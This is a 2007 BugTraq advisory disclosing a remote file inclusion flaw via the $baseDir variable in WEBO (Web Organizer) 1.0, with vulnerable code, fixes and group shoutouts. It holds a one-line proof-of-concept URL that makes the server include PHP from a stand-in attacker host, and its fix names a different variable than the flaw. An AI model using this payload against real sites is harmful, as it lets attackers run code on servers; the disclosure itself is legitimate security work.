BugTraq
[ECHO_ADV_67$2007] WEBO (Web Organizer) <= 1.0 (baseDir) Remote File Inclusion Vulnerability Mar 09 2007 12:44AM
erdc echo or id
ECHO_ADV_67$2007

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[ECHO_ADV_67$2007] WEBO (Web Organizer) <= 1.0 (baseDir) Remote File Inclusion Vulnerability
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Author : M.Hasran Addahroni
Date : March, 9th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv67-K-159-2007.txt
Critical Lvl : Dangerous
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : WEBO (Web Organizer)
version : 1.0
Vendor : http://sourceforge.net/projects/weborganizer/
Description :

WEBO (Web Organizer) is an open-source Web application suite providing a groupware calendar, a personal address book, a shared contacts directory, and a personal desktop page.

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Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at modules/abook/foldertree.php :

---------------foldertree.php--------------------------------------
<?php

/* memento :
TreeFolder( $label, $url="", $target="", $icon = "", $id="", $options="" )
TreeItem( $label, $url, $target="", $icon="", $options="" )
*/

include_once( "$baseDir/lib/HTML/tree.php");
...
------------------------------------------------------------------

Variables $baseDir are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[webo_path]/modules/abook/foldertree.php?baseDir==
http://attacker.com/evil?

Solution:
~~~~~~~

- Sanitize variable $config_dir on affected files.
- Turn off register_globals

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Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,bayl
aw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel #e-c-h-o @irc.dal.net

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Contact:
~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

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